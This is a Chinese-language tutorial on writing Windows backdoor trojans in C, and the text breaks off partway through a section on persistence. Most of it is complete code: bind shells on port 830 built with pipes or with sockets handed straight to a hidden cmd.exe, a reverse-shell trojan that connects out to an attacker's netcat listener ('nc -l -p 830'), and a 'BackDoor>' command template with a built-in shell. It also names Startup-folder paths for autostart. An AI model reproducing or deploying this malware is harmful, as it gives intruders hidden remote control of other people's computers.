黑客编程入门 之 后门编写初探

本文详细介绍了后门木马的基本编程技巧,包括执行DOS命令、零管道与反弹木马的实现、木马功能增强及扩展,以及木马自启动的方法。通过创建cmd进程与客户端通信,实现cmdshell的自由切换。

基本的执行DOS命令木马

  我们现在先考虑最早的木马:将目标主机作为服务器,打开一个端口进行监听,攻击者就可以通过telnet进行连接。
  DOS功能是木马必须拥有的最小的功能模块。那么我们现在的任务就是:1. 开创 cmd.exe 进程;2. 把 cmd 进程和客户的输入连起来。那么接下来介绍一下我们所需要的的函数:

所需函数

CreateProcess函数

BOOL CreateProcess(
	LPCTSTR IpApplicationName, 
	LPTSTR IpCommandLine, 
	LPSECURITY_ATTRIBUTES IpProcessAttributes, 
	LPSECURITY_ATTRIBUTES IpThreadAttributes, 
	BOOL bInheritHandles, 
	DWORD dwCreationFlags, 
	LPVOID IpEnvironment, 
	LPCTSTR IpCurrentDirectory, 
	LPSTARTUPINFO IpStartupInfo, 
	LPPROCESS_INFORMATION IpProcessInformation
);
参数含义
IpApplicationName指向包含要运行的EXE程序名
IpCommandLine如果要执行DOS命令,指向命令行字符串
IpProcessAttributes进程的安全属性
IpThreadAttributes描述进程初始线程(主线程)的安全属性
bInheritHandles表示子进程(被创建的进程)是否可以继承父进程的句柄
dwCreationFlags表示创建进程的优先级列表和进程的类型,分Idle,Normal,High,Real_time四个类别
IpEnvironment指向环境变量块,环境变量可以被子进程继承
IpCurrentDirectory表示当前运行目录
IpStartupInfo指向StartupInfo结构,控制进程的主窗口的出现方式
IpProcessInformation指向PROCESS_INFORMATION结构,用来存储返回的进程信息
type struct _PROCESS_INFORMATION {
	HANDLE hProcess;
	HANDLE hThread;
	DWORD dwProcessId;
	DWORD dwThreadId;
} PROCESS_INFORMATION;

  这个函数参数好多啊~不过好在使用的时候我们大部分都只是填写NULL,0或1,用的多了自然就习惯了,下面先给一个例子来熟悉一下这个函数的使用 ~

#include <windows.h>
#include <stdio.h>

int main() {
    PROCESS_INFORMATION ProcessInfomation;
    STARTUPINFO si;
    ZeroMemory(&si, sizeof(si));

    CreateProcess(NULL,                 // 不是执行exe文件,设为NULL
                  "cmd.exe",            // 执行dos命令
                  NULL,                 // 进程安全属性设置为NULL
                  NULL,                 // 线程安全属性设置为NULL
                  1,                    // 子进程可继承父进程的句柄
                  0,                    // 优先级设置为0
                  NULL,                 // 环境变量块设为NULL
                  NULL,                 // 当前运行目录设为NULL
                  &si,                  // 主窗口的出现方式设置
                  &ProcessInfomation);  // 存储返回的进程信息
    return 0;
}

  现在我们第一个任务已经完成了,那么现在创建好了 cmd 进程,可是怎么与客户端通信呢,这就涉及到进程间的通信问题了。
  进程间通信(IPC)机制是指同一台计算机的不通进程之间,或在网络上不同计算机的进程之间的通信。Windows 下的方法包括邮槽(Mailslot)、管道(Pipes)、事件(Events)、文件映射(FileMapping)等。我们在这里使用匿名管道。管道分为匿名管道和有名管道,匿名管道相对要简单得多。匿名管道是单向的,所以为了实现通信,我们要设置两个管道。匿名管道由CreatePipe()函数创建,管道有读句柄和写句柄,分别作为输入和输出。

BOOL CreatePipe(
	PHANDLE hReadPipe, 						// 管道的读句柄
	PHANDLE hWritePipe, 					// 管道的写句柄
	LPSECURITY_ATTRIBUTES IpPipeAttributes, // 管道属性结构的指针
	DWORD nSize								// 设置管道缓冲区大小,0设为默认值
);

  如果函数执行成功,返回非0值;如果失败,返回0。
  现在管道建立起来以后,还需要有函数能读写缓冲区,和查看缓冲区中是否有内容。

// PeekNamePipe函数读取出数据,但不从pipe中移除,可以用于判断管道中是否有数据
BOOL PeekNamePipe(
	HANDLE hNamePipe, 				// 要检查管道的读句柄
	LPVOID IpBuffer, 				// 读取句柄里数据的缓冲区
	DWORD nBuffSize, 				// 缓冲区的大小
	LPDWORD IpBytesRead, 			// 返回实际读取数据的字节数
	LPDWORD IpTotalBytesAvail,		// 返回读取数据的粽子节数
 	LPDWORD IpBytesLeftThisMessage	// 返回该消息中剩余的字节数,匿名管道可以是0
);
BOOL ReadFile(
	HANDLE hFile, 				// 要读取的句柄
	LPVOID IpBuffer, 			// 为接收数据的缓冲区
	DWORD nNumberOfBytesToRead, // 要读取的字节数
	LPWORD IpNumberOfBytesRead, // 实际读取的字节数
	LPOVERLAPPED IpOverlapped	// 指向OVERLAPPED结构
);
BOOL ReadFile(
	HANDLE hFile, 				// 要写入的句柄
	LPCVOID IpBuffer, 			// 为写入数据的缓冲区
	DWORD nNumberOfBytesToWrite,// 要写入的字节数
	LPWORD IpNumberOfBytesWritten,// 实际写入的字节数
	LPOVERLAPPED IpOverlapped	// 指向OVERLAPPED结构
);

  现在我们工具都已经有了,那么下面就是组装了。我们需要建立两个管道,一个用于读取cmd返回的结果,另一个用于向 cmd 写入命令。假设我们管道1用于读取 cmd 的返回信息,那么我们就需要把 cmd 子进程的输出句柄与管道的写句柄绑定;管道2用于写入 cmd 命令,我们把 cmd 子进程的输入句柄与管道的读句柄绑定。我们从攻击者主机获得的字符串写入管道2,那么 cmd 子进程就可以通过管道的读句柄读取到其中的命令,结果的返回也是一样的道理。
  下面就是组装的代码了。

代码实现

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

int main() {

    int ret;

    // 初始化 Windows Socket Dll
    WSADATA ws;
    WSAStartup(MAKEWORD(2, 2), &ws);

    // 建立 socket
    SOCKET listenFD = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    // 监听本主机 830 端口
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(830);
    server.sin_addr.s_addr = ADDR_ANY;
    // 绑定 socket
    ret = bind(listenFD, (struct sockaddr*)&server, sizeof(server));
    ret = listen(listenFD, 2);

    // 如果客户端请求830端口,接受连接
    int iAddrSize = sizeof(struct sockaddr);
    struct sockaddr_in client;
    SOCKET clientFD = accept(listenFD, (struct sockaddr*)&client, &iAddrSize);
    char client_addr[20];
	sprintf(client_addr, "%d.%d.%d.%d",
	client.sin_addr.s_addr&0xff,
	(client.sin_addr.s_addr>>8)&0xff,
	(client.sin_addr.s_addr>>16)&0xff,
	(client.sin_addr.s_addr>>24)&0xff);
	printf("Connected! Client IP: %s:%d\n", client_addr, client.sin_port);

    // 定义管道所需的读写句柄和管道属性
    HANDLE hReadPipe1, hWritePipe1;
    HANDLE hReadPipe2, hWritePipe2;
    SECURITY_ATTRIBUTES pipeattr1, pipeattr2;

    // 建立两个管道,管道1用于输出cmd子进程的结果
    pipeattr1.nLength = 12;
    pipeattr1.lpSecurityDescriptor = 0;
    pipeattr1.bInheritHandle = true;
    CreatePipe(&hReadPipe1, &hWritePipe1, &pipeattr1, 0);

    pipeattr2.nLength = 12;
    pipeattr2.lpSecurityDescriptor = 0;
    pipeattr2.bInheritHandle = true;
    CreatePipe(&hReadPipe2, &hWritePipe2, &pipeattr2, 0);

    PROCESS_INFORMATION ProcessInformation;
    STARTUPINFO si;
    ZeroMemory(&si, sizeof(si));
    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    // 将子进程 cmd 的输入输出句柄重定向到管道的读写句柄
    si.hStdInput = hReadPipe2;
    si.hStdOutput = si.hStdError = hWritePipe1;
    char cmdLine[] = "cmd";

    // 建立进程
    CreateProcess(NULL,         // 不是执行 exe 文件,设置为NULL
                  cmdLine, // 执行的 dos 命令为 cmd.exe
                  NULL,         // 进程安全属性为NULL
                  NULL,         // 线程安全属性为NULL
                  1,            // 子进程可继承父进程的句柄
                  0,            // 优先级设为0
                  NULL,         // 环境变量块设为NULL
                  NULL,         // 当前运行目录设置为NULL
                  &si,          // 主窗口的出现方式
                  &ProcessInformation); // 存储返回的进程信


    Sleep(100);
    unsigned long IByteRead;
    char Buff[1024];
    while (true) {
        ZeroMemory(Buff, sizeof(Buff));
        // 检查管道1,即cmd的进程是否有输出
        ret = PeekNamedPipe(hReadPipe1, // 检查管道1的读句柄
                            Buff,       // 存储缓冲区
                            1024,       // 缓冲区大小
                            &IByteRead, // 返回实际读取字节数
                            0,          // 读取的粽子节数,设为0
                            0);         // 返回该消息剩余的字节数,对匿名管道可以是0
        printf("检测缓冲区存有字节数为:%ul\n", IByteRead);
        if (IByteRead) {
            // 管道1有输出,读出Pipe1的输出结果
            ret = ReadFile(hReadPipe1,  // 读取管道1的读句柄
                           Buff,        // 读取数据保存缓冲区
                           IByteRead,   // 要读取的字节数
                           &IByteRead,  // 实际读取的字节数
                           0);          // 指向 OVERLAPPED 结构设为NULL
            // ret返回值为0则读取失败
            if (!ret)   break;

            // 读取数据后发送给远程控制机
            ret = send(clientFD, Buff, IByteRead, 0);
            if (ret <= 0)   break;
        } else {
            // 否则,接收远程客户机的命令
            // printf("Receiving...\n");
            IByteRead = recv(clientFD, Buff, 1024, 0);
            // printf("接受到客户端的数据字节数为: %d\n", strlen(Buff));
            if (IByteRead <= 0) break ;

            // 将命令写入管道写入管道2,即传给cmd进程
            ret = WriteFile(hWritePipe2,    // 写入管道2的写句柄
                            Buff,           // 存的是远程客户机发送过来的命令
                            IByteRead,      // 客户机发送过来命令的长度
                            &IByteRead,     // 返回实际写入的长度
                            0);             // 指向 OVERLAPPED 结构设为 NULL
            if (IByteRead == 2 && (Buff[0] == 13 && Buff[1] == 10)) {   // 输入的是回车,等待结果
                Sleep(100);
            }
            if (!ret)   break ;
        }
    }

    return 0;
}

  我们执行程序,并打开 cmd,使用telnet 127.0.0.1 830进行连接。当然如果可以的话,可以自己开一个热点,使用两台电脑,然后使用对方的 ip 也是可以的。
  注:telnet 当用户每输入一个字符,telnet 就会将输入的字符传输到目标主机。这样也是为了保证数据的实时传输。所以在我们接收到客户端的数据时,有时候需要做一定的处理,一定要注意这一点,有时候不注意的话可能会产生预料外的错误,或者显示错误。

  这个代码看起来是不是太长了,因为使用了两个管道,我们需要更多的操作来处理管道。那么有没有什么办法来减少管道呢,当然是有的。还记得嘛,在创建进程函数的参数中,第二个可以设置 DOS 命令,我们也可以将客户端传来的数据组装成一条 DOS 命令,每次都创建一个进程来执行。这样我们就只需要一个管道来接收 cmd 子进程的返回结果了,因为传入的命令已经在进程创建时直接传入了。有了这样的思路了,那就可以进行实现了,下面给出参考代码:

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

int main() {

    int ret;

    // 初始化 Windows Socket Dll
    WSADATA ws;
    WSAStartup(MAKEWORD(2, 2), &ws);

    // 建立 socket
    SOCKET listenFD = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    // 监听本主机 830 端口
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(830);
    server.sin_addr.s_addr = ADDR_ANY;
    // 绑定 socket
    ret = bind(listenFD, (struct sockaddr*)&server, sizeof(server));
    ret = listen(listenFD, 2);

    // 如果客户端请求830端口,接受连接
    int iAddrSize = sizeof(struct sockaddr);
    struct sockaddr_in client;
    SOCKET clientFD = accept(listenFD, (struct sockaddr*)&client, &iAddrSize);
    char client_addr[20];
	sprintf(client_addr, "%d.%d.%d.%d",
	client.sin_addr.s_addr&0xff,
	(client.sin_addr.s_addr>>8)&0xff,
	(client.sin_addr.s_addr>>16)&0xff,
	(client.sin_addr.s_addr>>24)&0xff);
	printf("Connected! Client IP: %s:%d\n", client_addr, client.sin_port);

    // 定义管道所需的读写句柄和管道属性
    HANDLE hReadPipe1, hWritePipe1;
    SECURITY_ATTRIBUTES pipeattr1;

    // 管道1用于输出cmd子进程的结果
    pipeattr1.nLength = 12;
    pipeattr1.lpSecurityDescriptor = 0;
    pipeattr1.bInheritHandle = true;
    CreatePipe(&hReadPipe1, &hWritePipe1, &pipeattr1, 0);

    PROCESS_INFORMATION ProcessInformation;
    STARTUPINFO si;
    ZeroMemory(&si, sizeof(si));
    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    // 将子进程 cmd 的输入输出句柄重定向到管道的读写句柄
    //si.hStdInput = hReadPipe2;
    si.hStdOutput = si.hStdError = hWritePipe1;
    char cmdLine[200] = "cmd.exe /c ";
    unsigned long IByteRead;
    char Buff[1024];

    while (true) {
        ZeroMemory(Buff, sizeof(Buff));
        // 检查管道1,即cmd的进程是否有输出
        ret = PeekNamedPipe(hReadPipe1, // 检查管道1的读句柄
                            Buff,       // 存储缓冲区
                            1024,       // 缓冲区大小
                            &IByteRead, // 返回实际读取字节数
                            0,          // 读取的粽子节数,设为0
                            0);         // 返回该消息剩余的字节数,对匿名管道可以是0
        // printf("检测缓冲区存有字节数为:%ul\n", IByteRead);
        if (IByteRead) {
            // 管道1有输出,读出Pipe1的输出结果
            ret = ReadFile(hReadPipe1,  // 读取管道1的读句柄
                           Buff,        // 读取数据保存缓冲区
                           IByteRead,   // 要读取的字节数
                           &IByteRead,  // 实际读取的字节数
                           0);          // 指向 OVERLAPPED 结构设为NULL
            // ret返回值为0则读取失败
            if (!ret)   break;

            // 读取数据后发送给远程控制机
            ret = send(clientFD, Buff, IByteRead, 0);
            if (ret <= 0)   break;

            // 如果已经把管道中的数据全部读取出来,则开始重新组装命令
            strcpy(cmdLine, "cmd.exe /c ");
        } else {
            // 否则,接收远程客户机的命令
            // printf("Receiving...\n");
            IByteRead = recv(clientFD, Buff, 1024, 0);
            // printf("接受到客户端的数据字节数为: %d: %d, %d\n", strlen(Buff), Buff[0], Buff[1]);
            if (IByteRead <= 0) break ;

            strncat(cmdLine, Buff, IByteRead);
            // printf("cmdLine: %s", cmdLine);

            // 以命令为参数,启动 cmd 执行
            if (IByteRead == 2 && (Buff[0] == 13 && Buff[1] == 10)) {
                CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);
                Sleep(100);
            }
            // if (!ret)   break ;
        }
    }

    return 0;
}

  该程序的使用和双通道木马是相同的,也需要 telnet 连接。但是这个有一点缺陷,本人电脑上运行时没有提示界面,纯黑屏,所以不便使用。

零管道木马和反弹木马

零管道

  严格上来说,零管道并不是说不用管道,而是不需要我们新创建管道。我们直接用 socket 句柄代替 cmd 子进程的输入输出句柄,如

si.hStdInput = si.hStdError = si.hStdOutput = (void*)clientFD; 

这样替换后,cmd 的输入输出就可以直接和远程通信了,省去了进程间传递的所有东西。但是这里使用的 socket 描述符和之前创建的不一样,需要使用 WSASocket函数创建。

SOCKET WSASocket(
	int af,	
	int type,
	int protocol,
	LPWSAPROTOCOL_INFO IpProtocolInfo,	// 指向 WSAPROTOCOL_INFO 结构的指针
	GROUP g,							// 保留字段不使用
	DWORD dwFlags						// 指定 socket 属性的 flag
);

  这样建立的 socket 才能进行替换。因为该函数建立的是费重叠套接字,可以直接将 cmd 子进程的 stdin,stdout,stderr 转向套接字上。接下来给出参考代码看一下具体是怎么实现的:

// @toc 零管道木马
// @author Steve Curcy
// @dev 直接将 cmd 的stdin, stdout, stderr 转到套接字上
// @dev 使用 WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)
// @dev 必须创建非重叠套接字
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

int main() {

    int ret;

    // 初始化 Window Socket Dll
    WSADATA ws;
    WSAStartup(MAKEWORD(2, 2), &ws);

    // 创建 socket
    SOCKET listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    // 绑定并监听830端口
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(830);
    server.sin_addr.s_addr = ADDR_ANY;
    ret = bind(listenFD, (struct sockaddr*)&server, sizeof(server));
    ret = listen(listenFD, 2);

    // 如果客户请求,接受连接
    struct sockaddr_in client;
    int iAddrSize = sizeof(struct sockaddr);
    SOCKET clientFD = accept(listenFD, (struct sockaddr*)&client, &iAddrSize);

    PROCESS_INFORMATION ProcessInformation;
    STARTUPINFO si;
    ZeroMemory(&si, sizeof(si));
    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow = SW_SHOWNORMAL;
    si.hStdInput = si.hStdError = si.hStdOutput = (void*)clientFD;
    char cmdLine[] = "cmd.exe";

    // 建立进程
    ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);
    WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
    TerminateProcess(ProcessInformation.hProcess, 0);
    CloseHandle(ProcessInformation.hProcess);
    printf("done!\n");

    return 0;
}

  零管道编写编写的确比较方便,但是一旦用户输入命令,就直接进入 cmd 进程执行了,有时候我们希望能先处理一下用户输入的命令,这就需要使用双管道或者单管道的方式了,但是单管道执行连续命令时又不大方便,所以我们需要根据实际需要来进行代码的编写。

反弹木马

  不管是以上说到的零管道还是单双管道,都是以目标主机为服务器,但是如果目标主机开启了防火墙,那么这个服务启动就失败了,我们的木马也就失效了。所以,随着时间的推移,反弹木马也登上了历史的舞台。也就是,我们将自己(攻击者)作为服务器,持续监听,将目标主机作为客户端,一旦木马被触发,我们就会获得一个 cmd shell 。我们这里以零管道为例,目标主机主动连接攻击者,连接后,我们就将 cmd 的输入和输出句柄都设置为客户端的套接字描述符,借助本机的 socket 发给攻击者的 socket。下面给出具体实现的代码:

// @toc 反弹木马 将攻击者当做服务器,被攻击者主动进行连接
// @author SteveCurcy
// @dev 这里使用零管道方式,其他方式思想相同,实现类似
// @dev 攻击者使用 netcat 进行监听,命令为 nc -l -p 830
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

int main() {

    int ret;

    // 初始化 Window Socket DLL
    WSADATA ws;
    WSAStartup(MAKEWORD(2, 2), &ws);

    // 创建 Socket
    SOCKET clientFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    // 连接攻击者 830 端口
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(830);
    server.sin_addr.s_addr = inet_addr("127.0.0.1");
    // 反向连接
    connect(clientFD, (struct sockaddr*)&server, sizeof(server));

    PROCESS_INFORMATION ProcessInformation;
    STARTUPINFO si;
    // 初始化为零
    ZeroMemory(&si, sizeof(si));
    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.hStdError = si.hStdInput = si.hStdOutput = (void*)clientFD;
    char cmdLine[] = "cmd.exe";

    // 建立进程
    ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);

    return 0;
}

  编写完代码之后先别急着执行,先有请我们的重要工具“netcat”,用 nc -l -p 830 监听本机的830端口,当目标主机触发了木马程序的时候,我们这里就会弹出一个 DOS shell 了。但是 Windows10 并不自带这个工具,可以来这里地方下载(提取码:go7w)。下载完成后,解压,其中有一个 nc.exe ,可以打开命令行直接使用

.\nc.exe -l -p 830

来对本机的830进行监听,与上述命令是相同的效果。这样反弹木马就算是制作完成了。
  可是这样,我们并没有办法自由的调用 DOS,下一步我们就要做一个木马功能的增强和扩展了。也就是,我们调用了 cmd 之后还可以重新退回到木马程序执行其他的命令。

木马功能的增强和扩展模块

打造初步后门

  我们以在服务端的木马为例,那么前一部分代码,监听和接收连接就不再赘述。后面主要的代码就是对 recv 函数收到的命令进行分析和执行。又以为前面说到,telnet 是每输入一个字符就会传到服务器,那么我们就可以相应的,每得到一个字符就当做一个命令进行判断。至于判断的方式 switch case,if else 都是可以的,这里因为只是对字符进行判断,所以使用 switch case 结构会更简便一些。
  那么既然是木马程序,我们可以加入一点控制主机操作的元素,比如交换鼠标的左右键。(手动狗头)这个需要 SwapMouseButton 函数,参数为 1 时交换鼠标设置,为 0 时恢复鼠标设置。
  当然,除了应有的功能,一份帮助文档也是很有必要的,不只是为了可能的木马用户,如果命令多了,自己也有可能会记不清,这里使用 ‘?’ 来返回一个捡漏的帮助文档。
  还缺什么功能嘛?当然,如果给你的一个窗口没有关闭键,我想换谁都会抓狂的吧,打开是打开了,怎么关呢。那么我们理所应当给我们的木马程序加一个退出的命令,除此之外,有时候我们其实并不想完全退出程序,而是暂时停止与此主机的连接转而查看另一台主机呢?所以我们应该加一条断开连接的命令,断开后继续监听,方便我们后续再次连接木马程序。
  这样看来,一个木马的雏形算是基本完成了。程序虽小,还很简陋,但是五脏俱全,那么下面就放出我们的代码:

// @toc 初步后门
// @author SteveCurcy
// @dev 一个木马不仅需要提供 DOS Shell,还要有自己的操作
// @dev 这里以服务端木马为例,进一步编写木马功能
// @dev 通过攻击者传过来的命令进行执行
// @dev 一个成熟的软件,都有详细的帮助文档来方便用户使用
// @dev 需要有与木马断开连接的命令,和退出木马程序的命令
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

int main() {

    int ret;    // returned value

    // 初始化 Windows Socket DLL
    WSADATA ws;
    WSAStartup(MAKEWORD(2, 2), &ws);

    // 创建 Socket
    SOCKET serverFD = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    // 监听830端口
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(830);
    server.sin_addr.s_addr = ADDR_ANY;
    ret = bind(serverFD, (struct sockaddr*)&server, sizeof(server));
    ret = listen(serverFD, 2);

ag:
    // 接受攻击者的请求
    struct sockaddr_in client;
    int iAddrSize = sizeof(client);
    SOCKET clientFD = accept(serverFD, (struct sockaddr*)&client, &iAddrSize);

    // 接受命令并作出响应
    char Buff[1024];
    while (true) {
        int IByteRead = recv(clientFD, Buff, 1024, 0);
        if (IByteRead <= 0) break ;
        switch(Buff[0]) {
            case 'x':   SwapMouseButton(1); break;  // 交换按键
            case 'r':   SwapMouseButton(0); break;  // 恢复按键
            case 'q':   closesocket(clientFD);  goto ag;  // 退出链接,可再次连接
            case 'e':   closesocket(clientFD);  closesocket(serverFD);  exit(0);    // 退出木马程序
            case '?':   send(clientFD, "? x r q e", sizeof("? x r q e"), 0);
        }
    }

    return 0;
}

  这代码就简单的多了吧,可是总觉得少点什么啊…emmm,就是我们刚开始写的 dos 命令的部分,我们还没有,我们下面就应该考虑如何调出一个 cmd 了。

cmd shell 的自由切换

  虽然我们可以直接写出程序来实现所有想要的 DOS 命令,但是没有必要,现成的命令,最好还是交给系统来执行以减少我们的工作量。那我们就可以用到我们之前学到的知识,采用零管道的方式创建一个 cmd 子进程,一直等待 cmd 得到 exit 退出(或者被结束)后才继续我们的木马程序。为此我们需要使用 WaitForSingleObject 函数来将木马程序阻塞,一直等待 cmd 结束再继续执行。等待 cmd 完成之后,杀掉 cmd 进程,关闭进程句柄,就可以安全的返回我们的木马程序的结界了。废话不多说,直接上代码:

// @toc cmd shell 自由切换
// @author SteveCurcy
// @dev 本代码在 BackDoor1.cpp 的基础上改进而成
// @dev 在原本基础上,增加了绑定 cmd 的功能,以及退出
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

void cmdShell(SOCKET target) {
    PROCESS_INFORMATION ProcessInformation;
    STARTUPINFO si;
    ZeroMemory(&si, sizeof(si));
    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow = SW_SHOWNORMAL;
    si.hStdInput = si.hStdError = si.hStdOutput = (void*)target;
    char cmdLine[] = "cmd.exe /k";

    // 建立进程
    int ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);
    WaitForSingleObject(ProcessInformation.hProcess, INFINITE); // 无线等待 cmd 子进程,直到 cmd 结束(exit退出)
    TerminateProcess(ProcessInformation.hProcess, 0);   // 杀死 cmd 进程
    CloseHandle(ProcessInformation.hProcess);   // 关闭进程句柄
}

int main() {

    int ret;    // returned value

    // 初始化 Windows Socket DLL
    WSADATA ws;
    WSAStartup(MAKEWORD(2, 2), &ws);

    // 创建 Socket
    SOCKET serverFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    // 监听830端口
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(830);
    server.sin_addr.s_addr = ADDR_ANY;
    ret = bind(serverFD, (struct sockaddr*)&server, sizeof(server));
    ret = listen(serverFD, 2);

ag:
    // 接受攻击者的请求
    struct sockaddr_in client;
    int iAddrSize = sizeof(client);
    SOCKET clientFD = accept(serverFD, (struct sockaddr*)&client, &iAddrSize);


    // 接受命令并作出响应
    char Buff[1024], command[1024];
    while (true) {
        int IByteRead = recv(clientFD, Buff, 1024, 0);
        if ( IByteRead == SOCKET_ERROR || IByteRead <= 0 ) break ;
        switch(Buff[0]) {
            case 'x':   SwapMouseButton(1); break;  // 交换按键
            case 'r':   SwapMouseButton(0); break;  // 恢复按键
            case 'q':   closesocket(clientFD);  goto ag;  // 退出链接,可再次连接
            case 'e':   closesocket(clientFD);  closesocket(serverFD);  exit(0);    // 退出木马程序
            case '?':   send(clientFD, "? x r q e s", sizeof("? x r q e s"), 0);
            case 's':   cmdShell(clientFD); send(clientFD, "Shell OK!", sizeof("Shell OK!"), 0);    break;
        }
    }

    return 0;
}

模板 = 木马

  但是,这样的界面还是太不美观了,我们还需要改进。为此我们可以添加一个提示符,比如 ‘door>’,此外,现在使用的命令都是单个的字符,我们可以判断,将客户发来的字符先存储下来;当客户端发来回车时,说明已经输入完一条完整的命令,那么就将命令交给 cmd 执行。注意,我们桥下回车实际上是发送了两个字符,即 ‘\r’, ‘\n’ 那么我们对此进行判断就可以了。我们增长了命令的长度,比较的时候就可以使用字符串的比较函数 strcmp 了,并且我们在进一步完善命令的同时,我们也将帮助信息进一步完善。就得到一个比较像样的简单的木马程序,以后的木马程序的开发可以基于此来进行,将此作为一个模板。下面来看最终的代码:

// @toc 模板 = 木马
// @author SteveCurcy
// @dev 本代码在 BackDoor2.cpp 的基础上改进而成
// @dev 在原本基础上,改善界面,用户输入长命令以及提示符
#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>

void cmdShell(SOCKET target) {
    PROCESS_INFORMATION ProcessInformation;
    STARTUPINFO si;
    ZeroMemory(&si, sizeof(si));
    si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
    si.wShowWindow = SW_SHOWNORMAL;
    si.hStdInput = si.hStdError = si.hStdOutput = (void*)target;
    char cmdLine[] = "cmd.exe /k";

    // 建立进程
    int ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);
    WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
    TerminateProcess(ProcessInformation.hProcess, 0);
    CloseHandle(ProcessInformation.hProcess);
}

int main() {

    int ret;    // returned value

    // 初始化 Windows Socket DLL
    WSADATA ws;
    WSAStartup(MAKEWORD(2, 2), &ws);

    // 创建 Socket
    SOCKET serverFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    // 监听830端口
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(830);
    server.sin_addr.s_addr = ADDR_ANY;
    ret = bind(serverFD, (struct sockaddr*)&server, sizeof(server));
    ret = listen(serverFD, 2);

ag:
    // 接受攻击者的请求
    struct sockaddr_in client;
    int iAddrSize = sizeof(client);
    SOCKET clientFD = accept(serverFD, (struct sockaddr*)&client, &iAddrSize);
    send(clientFD, "Welcome to the BackDoor program!\r\nBackDoor> ", sizeof("Welcome to the BackDoor program!\nBackDoor> "), 0);


    // 接受命令并作出响应
    char Buff[1024], command[1024];
    char help_text[] = "help --帮助命令\r\nchange --交换鼠标左右键\r\nreset --恢复鼠标默认设置\r\nquit --断开连接\r\nexit --退出木马程序\r\ncmd --调出CMD Shell\r\n";
    ZeroMemory(command, sizeof(command));
    while (true) {
        ZeroMemory(Buff, sizeof(Buff));

        int IByteRead = recv(clientFD, Buff, 1024, 0);
        if ( IByteRead == SOCKET_ERROR || IByteRead <= 0 ) break ;

        if ( IByteRead == 2 && (Buff[0] == 13 && Buff[1] == 10) ) {
            if ( strcmp(command, "help") == 0 ) {
                send(clientFD, help_text, sizeof(help_text), 0);
            } else if( strcmp(command, "change") == 0 ) {
                SwapMouseButton(1);  // 交换按键
            } else if( strcmp(command, "reset") == 0 ) {
                SwapMouseButton(0);  // 恢复按键
            } else if( strcmp(command, "quit") == 0 ) {
                closesocket(clientFD);  goto ag;    // 退出链接,可再次连接
            } else if( strcmp(command, "exit") == 0 ) {
                closesocket(clientFD);  closesocket(serverFD);  exit(0);    // 退出木马程序
            } else if( strcmp(command, "cmd") == 0 ) {
                cmdShell(clientFD);
            } else {
                send(clientFD, "该命令不存在", sizeof("该命令不存在"), 0);
            }
            send(clientFD, "BackDoor> ", sizeof("BackDoor> "), 0);
            ZeroMemory(command, sizeof(command));
        } else {
            strncat(command, Buff, IByteRead);
        }

    }

    return 0;
}

普通木马的自启动

木马的自启动有很多方式,这里只举两种最常用的方式

启动文件夹

  当 Windows 启动时,会自动打开开始菜单的启动文件夹中的所有项目。win7和win10 是有所不同的。win7的路径为:

系统盘:\Documents and Settings<用户名>\「开始」菜单\程序\启动
系统盘:\Documents and Settings\All Users\「开始」菜单\程序\启动

  win10系统在此基础上做出了一定的改进,将其中的某些文件夹设置为隐藏文件夹,并在图形化界面的开始菜单中取消了启动文件夹这一项,但是在实际的文件夹中还是存在的。这虽然增强了隐蔽性,但是还是可以通过此方法添加启动项。路径如下:

C:\Users\UserName\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

  那么,了解了原理之后,我们当然还需要工具,相应的函数。首先我们要获得系统盘符,此外,我们还需要获得本文件所在的路径,函数如下:

UNIT GetSystemDirectory(
	LPTSTR IpBuffer, 	// 存储接收到的系统安装目录
	UNIT uSize			// 指明缓冲区的大小
);
DWORD GetModuleFileName(
